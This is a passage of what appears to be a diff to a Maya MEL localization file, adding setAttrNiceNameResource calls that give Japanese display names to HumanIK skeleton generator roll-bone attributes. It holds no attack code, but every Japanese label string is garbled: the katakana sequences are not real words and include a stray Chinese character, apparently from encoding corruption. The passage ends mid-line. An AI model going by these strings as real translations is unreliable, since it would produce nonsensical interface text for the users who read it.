"メカラエヘネイ犹 2 ヒキナ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll2Sy", "メカラエヘネイ犹 2 ヒキナ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll2Sz", "メカラエヘネイ犹 2 ヒキナ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll2T", "メカラヘネイ犹 2 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll2Tx", "メカラヘネイ犹 2 ニスメニ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll2Ty", "メカラヘネイ犹 2 ニスメニ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll2Tz", "メカラヘネイ犹 2 ニスメニ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll2R", "メカラヘネイ犹 2 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll2Rx", "メカラヘネイ犹 2 ミラェ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll2Ry", "メカラヘネイ犹 2 ミラェ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll2Rz", "メカラヘネイ犹 2 ミラェ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll2S", "メカラヘネイ犹 2 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll2Sx", "メカラヘネイ犹 2 ヒキナ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll2Sy", "メカラヘネイ犹 2 ヒキナ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll2Sz", "メカラヘネイ犹 2 ヒキナ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll2T", "メカモメエヘネイ犹 2 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll2Tx", "メカモメエヘネイ犹 2 ニスメニ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll2Ty", "メカモメエヘネイ犹 2 ニスメニ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll2Tz", "メカモメエヘネイ犹 2 ニスメニ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll2R", "メカモメエヘネイ犹 2 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll2Rx", "メカモメエヘネイ犹 2 ミラェ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll2Ry", "メカモメエヘネイ犹 2 ミラェ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll2Rz", "メカモメエヘネイ犹 2 ミラェ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll2S", "メカモメエヘネイ犹 2 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll2Sx", "メカモメエヘネイ犹 2 ヒキナ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll2Sy", "メカモメエヘネイ犹 2 ヒキナ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll2Sz", "メカモメエヘネイ犹 2 ヒキナ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll2T", "メカモメヘネイ犹 2 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll2Tx", "メカモメヘネイ犹 2 ニスメニ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll2Ty", "メカモメヘネイ犹 2 ニスメニ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll2Tz", "メカモメヘネイ犹 2 ニスメニ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll2R", "メカモメヘネイ犹 2 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll2Rx", "メカモメヘネイ犹 2 ミラェ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll2Ry", "メカモメヘネイ犹 2 ミラェ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll2Rz", "メカモメヘネイ犹 2 ミラェ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll2S", "メカモメヘネイ犹 2 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll2Sx", "メカモメヘネイ犹 2 ヒキナ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll2Sy", "メカモメヘネイ犹 2 ヒキナ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll2Sz", "メカモメヘネイ犹 2 ヒキナ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll2T", "メカラアロイ犹 2 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll2Tx", "メカラアロイ犹 2 ニスメニ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll2Ty", "メカラアロイ犹 2 ニスメニ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll2Tz", "メカラアロイ犹 2 ニスメニ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll2R", "メカラアロイ犹 2 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll2Rx", "メカラアロイ犹 2 ミラェ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll2Ry", "メカラアロイ犹 2 ミラェ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll2Rz", "メカラアロイ犹 2 ミラェ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll2S", "メカラアロイ犹 2 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll2Sx", "メカラアロイ犹 2 ヒキナ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll2Sy", "メカラアロイ犹 2 ヒキナ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll2Sz", "メカラアロイ犹 2 ヒキナ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll2T", "メカラヌーアロイ犹 2 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll2Tx", "メカラヌーアロイ犹 2 ニスメニ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll2Ty", "メカラヌーアロイ犹 2 ニスメニ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll2Tz", "メカラヌーアロイ犹 2 ニスメニ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll2R", "メカラヌーアロイ犹 2 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll2Rx", "メカラヌーアロイ犹 2 ミラェ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll2Ry", "メカラヌーアロイ犹 2 ミラェ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll2Rz", "メカラヌーアロイ犹 2 ミラェ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll2S", "メカラヌーアロイ犹 2 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll2Sx", "メカラヌーアロイ犹 2 ヒキナ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll2Sy", "メカラヌーアロイ犹 2 ヒキナ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll2Sz", "メカラヌーアロイ犹 2 ヒキナ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll2T", "メカモメアロイ犹 2 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll2Tx", "メカモメアロイ犹 2 ニスメニ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll2Ty", "メカモメアロイ犹 2 ニスメニ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll2Tz", "メカモメアロイ犹 2 ニスメニ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll2R", "メカモメアロイ犹 2 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll2Rx", "メカモメアロイ犹 2 ミラェ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll2Ry", "メカモメアロイ犹 2 ミラェ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll2Rz", "メカモメアロイ犹 2 ミラェ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll2S", "メカモメアロイ犹 2 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll2Sx", "メカモメアロイ犹 2 ヒキナ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll2Sy", "メカモメアロイ犹 2 ヒキナ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll2Sz", "メカモメアロイ犹 2 ヒキナ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll2T", "メカモメヌーアロイ犹 2 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll2Tx", "メカモメヌーアロイ犹 2 ニスメニ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll2Ty", "メカモメヌーアロイ犹 2 ニスメニ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll2Tz", "メカモメヌーアロイ犹 2 ニスメニ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll2R", "メカモメヌーアロイ犹 2 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll2Rx", "メカモメヌーアロイ犹 2 ミラェ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll2Ry", "メカモメヌーアロイ犹 2 ミラェ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll2Rz", "メカモメヌーアロイ犹 2 ミラェ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll2S", "メカモメヌーアロイ犹 2 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll2Sx", "メカモメヌーアロイ犹 2 ヒキナ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll2Sy", "メカモメヌーアロイ犹 2 ヒキナ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll2Sz", "メカモメヌーアロイ犹 2 ヒキナ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll3T", "メカラエヘネイ犹 3 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll3Tx", "メカラエヘネイ犹 3 ニスメニ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll3Ty", "メカラエヘネイ犹 3 ニスメニ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll3Tz", "メカラエヘネイ犹 3 ニスメニ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll3R", "メカラエヘネイ犹 3 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll3Rx", "メカラエヘネイ犹 3 ミラェ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll3Ry", "メカラエヘネイ犹 3 ミラェ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll3Rz", "メカラエヘネイ犹 3 ミラェ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll3S", "メカラエヘネイ犹 3 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll3Sx", "メカラエヘネイ犹 3 ヒキナ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll3Sy", "メカラエヘネイ犹 3 ヒキナ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll3Sz", "メカラエヘネイ犹 3 ヒキナ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll3T", "メカラヘネイ犹 3 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll3Tx", "メカラヘネイ犹 3 ニスメニ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll3Ty", "メカラヘネイ犹 3 ニスメニ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll3Tz", "メカラヘネイ犹 3 ニスメニ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll3R", "メカラヘネイ犹 3 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll3Rx", "メカラヘネイ犹 3 ミラェ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll3Ry", "メカラヘネイ犹 3 ミラェ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll3Rz", "メカラヘネイ犹 3 ミラェ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll3S", "メカラヘネイ犹 3 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll3Sx", "メカラヘネイ犹 3 ヒキナ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll3Sy", "メカラヘネイ犹 3 ヒキナ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll3Sz", "メカラヘネイ犹 3 ヒキナ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll3T", "メカモメエヘネイ犹 3 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll3Tx", "メカモメエヘネイ犹 3 ニスメニ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll3Ty", "メカモメエヘネイ犹 3 ニスメニ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll3Tz", "メカモメエヘネイ犹 3 ニスメニ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll3R", "メカモメエヘネイ犹 3 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll3Rx", "メカモメエヘネイ犹 3 ミラェ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll3Ry", "メカモメエヘネイ犹 3 ミラェ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll3Rz", "メカモメエヘネイ犹 3 ミラェ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll3S", "メカモメエヘネイ犹 3 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll3Sx", "メカモメエヘネイ犹 3 ヒキナ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll3Sy", "メカモメエヘネイ犹 3 ヒキナ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll3Sz", "メカモメエヘネイ犹 3 ヒキナ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll3T", "メカモメヘネイ犹 3 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll3Tx", "メカモメヘネイ犹 3 ニスメニ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll3Ty", "メカモメヘネイ犹 3 ニスメニ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll3Tz", "メカモメヘネイ犹 3 ニスメニ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll3R", "メカモメヘネイ犹 3 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll3Rx", "メカモメヘネイ犹 3 ミラェ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll3Ry", "メカモメヘネイ犹 3 ミラェ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll3Rz", "メカモメヘネイ犹 3 ミラェ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll3S", "メカモメヘネイ犹 3 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll3Sx", "メカモメヘネイ犹 3 ヒキナ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll3Sy", "メカモメヘネイ犹 3 ヒキナ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll3Sz", "メカモメヘネイ犹 3 ヒキナ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll3T", "メカラアロイ犹 3 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll3Tx", "メカラアロイ犹 3 ニスメニ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll3Ty", "メカラアロイ犹 3 ニスメニ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll3Tz", "メカラアロイ犹 3 ニスメニ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll3R", "メカラアロイ犹 3 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll3Rx", "メカラアロイ犹 3 ミラェ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll3Ry", "メカラアロイ犹 3 ミラェ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll3Rz", "メカラアロイ犹 3 ミラェ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll3S", "メカラアロイ犹 3 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll3Sx", "メカラアロイ犹 3 ヒキナ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll3Sy", "メカラアロイ犹 3 ヒキナ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll3Sz", "メカラアロイ犹 3 ヒキナ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll3T", "メカラヌーアロイ犹 3 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll3Tx", "メカラヌーアロイ犹 3 ニスメニ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll3Ty", "メカラヌーアロイ犹 3 ニスメニ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll3Tz", "メカラヌーアロイ犹 3 ニスメニ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll3R", "メカラヌーアロイ犹 3 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll3Rx", "メカラヌーアロイ犹 3 ミラェ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll3Ry", "メカラヌーアロイ犹 3 ミラェ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll3Rz", "メカラヌーアロイ犹 3 ミラェ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll3S", "メカラヌーアロイ犹 3 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll3Sx", "メカラヌーアロイ犹 3 ヒキナ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll3Sy", "メカラヌーアロイ犹 3 ヒキナ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll3Sz", "メカラヌーアロイ犹 3 ヒキナ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll3T", "メカモメアロイ犹 3 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll3Tx", "メカモメアロイ犹 3 ニスメニ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll3Ty", "メカモメアロイ犹 3 ニスメニ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll3Tz", "メカモメアロイ犹 3 ニスメニ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll3R", "メカモメアロイ犹 3 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll3Rx", "メカモメアロイ犹 3 ミラェ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll3Ry", "メカモメアロイ犹 3 ミラェ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll3Rz", "メカモメアロイ犹 3 ミラェ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll3S", "メカモメアロイ犹 3 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll3Sx", "メカモメアロイ犹 3 ヒキナ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll3Sy", "メカモメアロイ犹 3 ヒキナ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll3Sz", "メカモメアロイ犹 3 ヒキナ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll3T", "メカモメヌーアロイ犹 3 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll3Tx", "メカモメヌーアロイ犹 3 ニスメニ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll3Ty", "メカモメヌーアロイ犹 3 ニスメニ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll3Tz", "メカモメヌーアロイ犹 3 ニスメニ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll3R", "メカモメヌーアロイ犹 3 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll3Rx", "メカモメヌーアロイ犹 3 ミラェ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll3Ry", "メカモメヌーアロイ犹 3 ミラェ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll3Rz", "メカモメヌーアロイ犹 3 ミラェ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll3S", "メカモメヌーアロイ犹 3 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll3Sx", "メカモメヌーアロイ犹 3 ヒキナ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll3Sy", "メカモメヌーアロイ犹 3 ヒキナ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll3Sz", "メカモメヌーアロイ犹 3 ヒキナ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll4T", "メカラエヘネイ犹 4 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll4Tx", "メカラエヘネイ犹 4 ニスメニ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll4Ty", "メカラエヘネイ犹 4 ニスメニ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll4Tz", "メカラエヘネイ犹 4 ニスメニ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll4R", "メカラエヘネイ犹 4 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll4Rx", "メカラエヘネイ犹 4 ミラェ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll4Ry", "メカラエヘネイ犹 4 ミラェ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll4Rz", "メカラエヘネイ犹 4 ミラェ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll4S", "メカラエヘネイ犹 4 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll4Sx", "メカラエヘネイ犹 4 ヒキナ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll4Sy", "メカラエヘネイ犹 4 ヒキナ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll4Sz", "メカラエヘネイ犹 4 ヒキナ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll4T", "メカラヘネイ犹 4 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll4Tx", "メカラヘネイ犹 4 ニスメニ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll4Ty", "メカラヘネイ犹 4 ニスメニ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll4Tz", "メカラヘネイ犹 4 ニスメニ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll4R", "メカラヘネイ犹 4 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll4Rx", "メカラヘネイ犹 4 ミラェ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll4Ry", "メカラヘネイ犹 4 ミラェ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll4Rz", "メカラヘネイ犹 4 ミラェ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll4S", "メカラヘネイ犹 4 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll4Sx", "メカラヘネイ犹 4 ヒキナ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll4Sy", "メカラヘネイ犹 4 ヒキナ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll4Sz", "メカラヘネイ犹 4 ヒキナ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll4T", "メカモメエヘネイ犹 4 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll4Tx", "メカモメエヘネイ犹 4 ニスメニ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll4Ty", "メカモメエヘネイ犹 4 ニスメニ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll4Tz", 